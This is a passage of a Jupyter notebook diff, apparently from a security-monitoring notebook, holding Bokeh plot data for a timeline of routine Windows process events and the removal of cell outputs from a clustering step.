"1832\"}},\"id\":\"1889\",\"type\":\"CDSView\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1857\",\"type\":\"PanTool\"},{\"attributes\":{\"overlay\":{\"id\":\"1858\"}},\"id\":\"1854\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1937\",\"type\":\"DaysTicker\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"1882\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1942\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1912\"},\"ticker\":{\"id\":\"1850\"},\"visible\":false},\"id\":\"1849\",\"type\":\"LinearAxis\"},{\"attributes\":{\"end\":1550096453857.7002,\"start\":1550091469649.3},\"id\":\"1837\",\"type\":\"Range1d\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1920\"},{\"id\":\"1921\"},{\"id\":\"1922\"},{\"id\":\"1923\"},{\"id\":\"1924\"},{\"id\":\"1925\"},{\"id\":\"1926\"},{\"id\":\"1927\"},{\"id\":\"1928\"},{\"id\":\"1929\"},{\"id\":\"1930\"},{\"id\":\"1931\"}]},\"id\":\"1846\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1856\",\"type\":\"SaveTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1921\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1922\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1927\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"line_color\":\"red\",\"line_dash\":[6],\"line_width\":2,\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1903\",\"type\":\"Line\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1933\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"text\":\"Range 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time\",\"text_font_size\":\"8pt\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"1907\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"1845\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1848\",\"type\":\"Grid\"},{\"attributes\":{\"axis\":{\"id\":\"1849\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1852\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1883\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"CommandLine\",\"@CommandLine\"],[\"EventID\",\"@EventID\"]]},\"id\":\"1833\",\"type\":\"HoverTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1930\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1935\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1873\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1886\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"CommandLine\":[\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\Windo\\nwsAzure\\\\CollectGuestLogsTemp\\\\7a9d40f2-490e-4468-a8\\ncf-b7822b95614d.zip\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory 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-secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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- } - ], + "outputs": [], "source": [ "# Show timeline of events\n", "if process_tree is not None and not process_tree.empty:\n", @@ -3525,107 +650,14 @@ }, { "cell_type": "code", - "execution_count": 17, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:46.286319Z", "start_time": "2020-05-16T02:19:44.261867Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

Querying data...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

Extracting features...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

Clustering data...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of input events: 190\n", - "Number of clustered events: 24\n" - ] - }, - { - "data": { - "image/png": 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